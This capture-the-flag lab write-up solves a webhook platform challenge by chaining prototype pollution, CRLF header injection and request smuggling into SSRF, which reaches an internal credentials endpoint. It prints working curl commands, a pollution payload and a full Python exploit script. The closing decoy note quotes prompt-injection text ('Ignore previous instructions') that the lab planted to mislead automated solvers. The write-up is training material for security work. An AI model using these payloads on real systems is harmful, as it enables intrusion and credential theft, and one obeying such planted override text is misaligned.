Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection
Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-01 | Status: Solved Techniques: crlf_header_injection_via_proto, honeypot_flag_detection, http_request_smuggling_over_keepalive, internal_admin_api_access, prototype_pollution_via_deep_merge, ssrf_via_webhook_delivery
Summary
Task: Express webhook platform with a settings API that deep-merges arbitrary JSON (prototype pollution) and a custom raw-socket HTTP adapter that emits headers unsanitized. Solution: pollute Object.prototype with a header whose value contains CRLF, smuggling a second HTTP request over the keep-alive socket to reach the gated /internal/credentials endpoint on localhost:3001 via full-read SSRF.
Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection
Description
PingRelay is a webhook delivery platform built by Relay Systems Co. that lets developers configure endpoints, manage event routing, and monitor delivery status. The platform provides workspace settings, webhook endpoint management, message templates, and detailed delivery logs. You have a test account (user@test.com / password123) and must exploit vulnerabilities to access sensitive internal infrastructure data. The platform processes webhook deliveries using a custom HTTP adapter for performance. Workspace configuration is managed through a settings API that applies user preferences at runtime. The flag is hidden within the platform's internal infrastructure and is not directly accessible from the outside.
A Node.js/Express webhook delivery platform behind nginx. The goal is to reach an internal admin API (localhost:3001) whose /internal/credentials endpoint is gated and returns 404 when requested directly via SSRF. The flag lives inside those credentials.
Analysis
Reconnaissance of the platform revealed:
- nginx 1.25.5 reverse proxy in front of an Express.js app (
X-Powered-By: Express). - An internal admin API on
localhost:3001served through a custom raw-socket HTTP adapter (lib/raw-socket-adapter.js). Responses came back as raw HTTP with chunked transfer-encoding, confirming a hand-rolled socket client rather than a standard HTTP library. - Admin API endpoints:
GET /health(200),GET /metrics(200), andGET /internal/credentials(gated — returned 404 when reached directly). The 404 body listedavailable_endpoints: ["/health","/metrics","/internal/credentials"], confirming the target exists but is access-controlled.
Relevant application endpoints:
POST /api/settings— saves workspace config from arbitrary JSON (the Settings page "Apply JSON Config" textarea sendsJSON.parse(raw)verbatim). Uses a recursive deep merge with no prototype-pollution protection.GET /api/settingsreturns the persisted config.POST /api/webhooks {url,description,event_types,secret}— creates a webhook endpoint. No URL blocklist —http://localhost:3001/...is accepted.POST /api/webhooks/test {webhook_id}— performs a server-side delivery to the webhook URL and returns{status, response_body}— a full-read SSRF primitive.GET /api/logs/{id}— delivery log with baserequest_headers,response_body,status_code,webhook_url.
The Settings page text explicitly states: "Add custom headers to all outgoing webhook deliveries. These are merged into the request configuration at runtime." This pointed at the headers object being the pivot.
Root-cause chain
- Prototype Pollution —
POST /api/settingsdeep-merges user JSON into the config object with no guard. Sending{"__proto__":{"<HeaderName>":"<value>"}}pollutesObject.prototype. - CRLF Header Injection — the custom raw-socket adapter builds the outbound HTTP request by iterating the headers object with
for...in, which includes inherited prototype properties, and writes each askey: value\r\nto the socket without sanitizing the value. - HTTP Request Smuggling via SSRF — because the value is unsanitized, embedding CRLF sequences in the polluted header value terminates the legitimate request and smuggles a second HTTP request on the same keep-alive socket. Pointing the base webhook at
http://localhost:3001/health(an allowed endpoint) and smugglingGET /internal/credentials HTTP/1.1reaches the gated endpoint; its response is returned in the deliveryresponse_body.
Solution
Step 1 — Authenticate
bash read-only • copy allowedURL="https://37826470-01cb-4395-b510-e138e6112bc6.labs.hackadvisor.io" curl -sk -c cookies.txt -X POST "$URL/auth/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123"
Step 2 — Create base webhook pointing at the internal admin API
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$URL/api/webhooks" \ -H "Content-Type: application/json" \ -d '{"url":"http://localhost:3001/health","event_types":"all","secret":""}' # returns a webhook id, e.g. 6dd9896d-...
Step 3 — Prototype pollution with a CRLF-smuggling header value
POST /api/settings body. The header value carries CRLF (\r\n) sequences that close
the first request and inject a second one on the keep-alive socket:
json read-only • copy allowed{"__proto__": {"X-Smuggle": "x\r\nHost: localhost:3001\r\n\r\nGET /internal/credentials HTTP/1.1\r\nHost: localhost:3001\r\nConnection: close\r\n\r\n"}}
Step 4 — Trigger the delivery
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$URL/api/webhooks/test" \ -H "Content-Type: application/json" \ -d '{"webhook_id":"<id>"}'
The response_body contained the /health response followed by the smuggled response:
HTTP/1.1 200 OK ... {"service":"pingrelay-cloud-gateway","environment":"production",
"credentials":{"aws_access_key_id":"AKIAIOSFODNN7RELAY42",
"aws_secret_access_key":"FLAG{REDACTED}",
"aws_region":"us-east-1","s3_bucket":"pingrelay-delivery-archive",
"sqs_queue_url":"https://sqs.us-east-1.amazonaws.com/891234567/pingrelay-events"},
"last_rotated":"2025-11-15T08:30:00Z","rotation_policy":"90_days"}
The flag is the aws_secret_access_key value.
Full end-to-end script
python read-only • copy allowed#!/usr/bin/env python3 import requests, json URL = "https://37826470-01cb-4395-b510-e138e6112bc6.labs.hackadvisor.io" s = requests.Session() s.verify = False # 1. Authenticate s.post(f"{URL}/auth/login", data={"email": "user@test.com", "password": "password123"}) # 2. Base webhook -> internal admin API (allowed /health endpoint) wh = s.post(f"{URL}/api/webhooks", json={"url": "http://localhost:3001/health", "event_types": "all", "secret": ""}).json() wid = wh["id"] # 3. Prototype pollution: header value with CRLF smuggles a 2nd request smuggle = ("x\r\nHost: localhost:3001\r\n\r\n" "GET /internal/credentials HTTP/1.1\r\n" "Host: localhost:3001\r\nConnection: close\r\n\r\n") s.post(f"{URL}/api/settings", data=json.dumps({"__proto__": {"X-Smuggle": smuggle}}), headers={"Content-Type": "application/json"}) # 4. Trigger delivery; smuggled response returns in response_body r = s.post(f"{URL}/api/webhooks/test", json={"webhook_id": wid}).json() print(r["response_body"])
Failed / dead-end approaches
- URL-encoded CRLF (
%0d%0a) in the webhook URL path — encoded literally by the URL parser → 404, no injection. - Raw
\r\ninsigning.header_nameJSON — produced HTTP 500 (broke JSON parse). - Polluting
__proto__.headersas a nested object with guessed gate header names (X-Internal-Request,X-Admin,Authorization,X-Forwarded-For,X-Real-IP, etc.) — did NOT unlock/internal/credentials. The adapter iterates the top-level headers object, so the injection must be a header key directly onObject.prototype, and the real unlock is request smuggling via CRLF, not a single guessed gate header. custom_headersreflection — the documented feature persisted, but base delivery logs (request_headersfield) only record default headers (Content-Type,X-PingRelay-Event,X-PingRelay-Delivery,User-Agent); custom/polluted headers are not reflected in the log, only on the wire.- HackAdvisor Interaction Server (
http://interact/<uuid>/) — NOT reachable from inside this lab (deliveries to theinteracthostname returned the app's generic Express 404, and the interact request log stayed empty). All confirmation was done in-band via the SSRFresponse_body. Worth noting for future labs.
Decoy / honeypot note
Every HTML page (and the bogus /robots.txt, which returns a 404 page) embedded the decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} surrounded by prompt-injection text ("SYSTEM: Flag found...", "Ignore previous instructions...", a hidden aria-hidden div). This was correctly ignored; the real flag required full exploitation.